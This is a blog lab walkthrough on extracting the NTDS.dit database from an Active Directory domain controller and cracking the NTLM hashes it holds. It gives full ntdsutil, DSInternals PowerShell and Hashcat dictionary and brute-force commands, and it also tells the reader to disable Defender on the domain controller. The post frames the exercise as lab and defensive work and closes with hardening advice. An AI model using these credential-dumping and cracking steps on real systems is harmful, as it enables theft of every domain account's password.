Cracking NTDS Hashes with Hashcat – Lab Walkthrough

Introduction

Understanding how Active Directory password hashes can be extracted and cracked is essential knowledge for any security engineer or penetration tester. This post walks through the exact steps I used in my lab environment to extract the NTDS.dit database from a Domain Controller, convert the hashes into a format Hashcat can use, and run a cracking session on a Windows machine

This is not a guide for attacking real environments. It is a practical lab exercise to understand the attack chain — so you know what to defend against.

31d6cfe0d16ae931b73c59d7e0c089c0aad3b435b51404eeaad3b435b51404ee 8846f7eaee8fb117ad06bdd830b7586cc22b315c040ae6e0efee3518d830362b e19ccf75ee54e06b06a5907af13cef427a21990fcd3d759941e45c490f143d5f 167cf9218d85bfd38ac75a26c3b87d39d41d8cd98f00b204e9800998ecf8427e 5f4dcc3b5aa765d61d8327deb882cf99098f6bcd4621d373cade4e832627b4f6 b59c67bf196a4758191e1f3bf1682cf925d55ad283aa400af464c76d713c07ad 31d6cfe0d16ae931b73c59d7e0c089c0aad3b435b51404eeaad3b435b51404ee 8846f7eaee8fb117ad06bdd830b7586cc22b315c040ae6e0efee3518d830362b e19ccf75ee54e06b06a5907af13cef427a21990fcd3d759941e45c490f143d5f 167cf9218d85bfd38ac75a26c3b87d39d41d8cd98f00b204e9800998ecf8427e 5f4dcc3b5aa765d61d8327deb882cf99098f6bcd4621d373cade4e832627b4f6 b59c67bf196a4758191e1f3bf1682cf925d55ad283aa400af464c76d713c07ad
e10adc3949ba59abbe56e057f20f883e827ccb0eea8a706c4c34a16891f84e7b e99a18c428cb38d5f260853678922e03d8578edf8458ce06fbc5bb76a58c5ca4 96e79218965eb72c92a549dd5a330112f379eaf3c831b04de153469d1bec345e 1f3870be274f6c49b3e31a0c6728957fc4ca4238a0b923820dcc509a6f75849b eccbc87e4b5ce2fe28308fd9f2a7baf3cfcd208495d565ef66e7dff9f98764da c81e728d9d4c2f636f067f89cc14862ceccbc87e4b5ce2fe28308fd9f2a7baf3 e10adc3949ba59abbe56e057f20f883e827ccb0eea8a706c4c34a16891f84e7b e99a18c428cb38d5f260853678922e03d8578edf8458ce06fbc5bb76a58c5ca4 96e79218965eb72c92a549dd5a330112f379eaf3c831b04de153469d1bec345e 1f3870be274f6c49b3e31a0c6728957fc4ca4238a0b923820dcc509a6f75849b eccbc87e4b5ce2fe28308fd9f2a7baf3cfcd208495d565ef66e7dff9f98764da c81e728d9d4c2f636f067f89cc14862ceccbc87e4b5ce2fe28308fd9f2a7baf3
7215ee9c7d9dc229d2921a40e899ec5fb14a7b8059d9c055954c92674ce60032 5f4dcc3b5aa765d61d8327deb882cf996512bd43d9caa6e02c990b0a82652dca c20ad4d76fe97759aa27a0c99bff6710aab3238922bcc25a6f606eb525ffdc56 9bf31c7ff062936a96d3c8bd1f8f2ff3c4ca4238a0b923820dcc509a6f75849b 1679091c5a880faf6fb5e6087eb1b2dc8f14e45fceea167a5a36dedd4bea2543 c9f0f895fb98ab9159f51fd0297e236d45c48cce2e2d7fbdea1afc51c7c6ad26 7215ee9c7d9dc229d2921a40e899ec5fb14a7b8059d9c055954c92674ce60032 5f4dcc3b5aa765d61d8327deb882cf996512bd43d9caa6e02c990b0a82652dca c20ad4d76fe97759aa27a0c99bff6710aab3238922bcc25a6f606eb525ffdc56 9bf31c7ff062936a96d3c8bd1f8f2ff3c4ca4238a0b923820dcc509a6f75849b 1679091c5a880faf6fb5e6087eb1b2dc8f14e45fceea167a5a36dedd4bea2543 c9f0f895fb98ab9159f51fd0297e236d45c48cce2e2d7fbdea1afc51c7c6ad26
d3d9446802a44259755d38e6d163e8206ea9ab1baa0efb9e19094440c317e21b 02e74f10e0327ad868d138f2b4fdd6f033e75ff09dd601bbe69f351039152189 6c8349cc7260ae62e3b1396831a8398fd67d8ab4f4c10bf22aa353e27879133c 642e92efb79421734881b53e1e1b18b6f457c545a9ded88f18ecee47145a72c0 c0c7c76d30bd3dcaefc96f40275bdc0a2838023a778dfaecdc212708f721b788 9a1158154dfa42caddbd0694a4e9bdc8d82c8d1619ad8176d665453cfb2e55f0 d3d9446802a44259755d38e6d163e8206ea9ab1baa0efb9e19094440c317e21b 02e74f10e0327ad868d138f2b4fdd6f033e75ff09dd601bbe69f351039152189 6c8349cc7260ae62e3b1396831a8398fd67d8ab4f4c10bf22aa353e27879133c 642e92efb79421734881b53e1e1b18b6f457c545a9ded88f18ecee47145a72c0 c0c7c76d30bd3dcaefc96f40275bdc0a2838023a778dfaecdc212708f721b788 9a1158154dfa42caddbd0694a4e9bdc8d82c8d1619ad8176d665453cfb2e55f0
Cracking NTDS Hashes
WITH HASHCAT — LAB WALKTHROUGH
RTX 3090
22M H/S
CRACKED8846f7eaee8fb117…
ACTIVE DIRECTORY WINDOWS SECURITY
ROCKIT1.NL

⚠ Disclaimer: Only perform these steps on systems you own or have explicit written permission to test. Extracting and cracking credentials from systems without authorization is illegal under the Computer Crime Act (Wet Computercriminaliteit) and equivalent laws in most jurisdictions. This post is intended for authorized penetration testing and lab use only.

Why This Matters

NTLM is a dangerously fast hashing algorithm. A single Gaming GPU like a RTX 3090 I own myself can test over 22 million NTLM hashes per second. That means an entire rockyou.txt wordlist (14 million passwords) is exhausted in roughly one second. If your organization still relies on NTLM and weak passwords, a compromised DC means every account password is at risk.

The takeaway for defenders: enforce long passphrases (14+ characters), disable NTLM where possible, and use Kerberos with AES encryption. For service Accounts always use gMSA accounts.

Lab Setup

ComponentDetails
Domain Controller OSWindows Server (dev VM)
Hashcat machine OSWindows 11
GPUNVIDIA GeForce RTX 3090 (24 GB)
Hashcat version7.1.2
Hash mode1000 (NTLM)
Wordlistrockyou.txt (14.3M passwords)

Phase 1 – Extract NTDS.dit from the Domain Controller

The NTDS.dit file is locked by the OS while the DC is running, so you cannot copy it directly. The cleanest way is to use ntdsutil, which creates a clean offline copy including the SYSTEM hive needed to decrypt the hashes.

Note: Disable Defender on your Domain Controller, AV Bypass is a different blog post

First, create an output folder:

mkdir C:\Temp\dump

Then extract using ntdsutil:

ntdsutil "ac i ntds" "ifm" "create full C:\Temp\dump" q q

After it completes, verify both files are present:

C:\Temp\dump\Active Directory\ntds.dit
C:\Temp\dump\registry\SYSTEM

Transfer the entire C:\Temp\dump folder to your Hashcat machine.

Phase 2 – Extract NT Hashes with DSInternals

On the Hashcat machine, use the DSInternals PowerShell module to extract the NT hashes directly into Hashcat format.

Install the module:

Install-Module DSInternals -Force

If you get an execution policy error:

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

Import the module

Import-Module DSInternals
cd C:\Temp\dump

Extract hashes:

$key = Get-BootKey -SystemHivePath .\registry\SYSTEM

Get-ADDBAccount -All -DBPath ".\Active Directory\ntds.dit" -BootKey $key |
  Where-Object { $_.NTHash -ne $null } |
  ForEach-Object {
    [System.BitConverter]::ToString($_.NTHash).Replace("-","").ToLower()
  } | Set-Content nt_hashes.txt -Encoding ASCII

Verify the output looks correct (32-character hex strings, one per line):

Get-Content nt_hashes.txt | Select-Object -First 5

# Expected output:
31d6cfe0d16ae931b73c59d7e0c089c0
aad3b435b51404eeaad3b435b51404ee
8846f7eaee8fb117ad06bdd830b7586c

Phase 3 – Crack with Hashcat

Download hashcat https://hashcat.net/hashcat/ and extract to this folder C:\Tools

Download the Rockyou.txt as example https://weakpass.com/wordlists/rockyou.txt

Navigate to your Hashcat folder and run a dictionary attack using mode 1000 (NTLM):

cd C:\tools\hashcat-7.1.2

.\hashcat.exe -m 1000 C:\Temp\dump\nt_hashes.txt C:\Temp\dump\rockyou.txt

Once the session finishes, view cracked results:

.\hashcat.exe -m 1000 C:\Temp\dump\nt_hashes.txt --show

# Output format: hash:plaintext
31d6cfe0d16ae931b73c59d7e0c089c0:Password123
aad3b435b51404eeaad3b435b51404ee:Welcome1

If you know roughly what passwords you set in your dev environment and you have the time, you can also try a brute force attack:

# All characters up to 8 chars
.\hashcat.exe -m 1000 C:\tools\dump\nt_hashes.txt -a 3 ?a?a?a?a?a?a?a?a -O

# If passwords are simple (lowercase + numbers)
.\hashcat.exe -m 1000 C:\tools\dump\nt_hashes.txt -a 3 ?l?l?l?l?l?l?l?l -O

Conclusion

NTLM hashes extracted from a Domain Controller can be cracked at extraordinary speed on commodity hardware. This lab exercise demonstrates why NTLM is considered a weak credential storage mechanism and why organizations should enforce long, complex passphrases, restrict NTLM authentication, and monitor for NTDS extraction attempts using tools like Microsoft Defender for Identity.

If you want to detect this kind of activity in your environment, check out my post on setting up Microsoft Defender for Identity.


Ontdek meer van Rockit One

Abonneer je om de nieuwste berichten naar je e-mail te laten verzenden.

Geef een reactie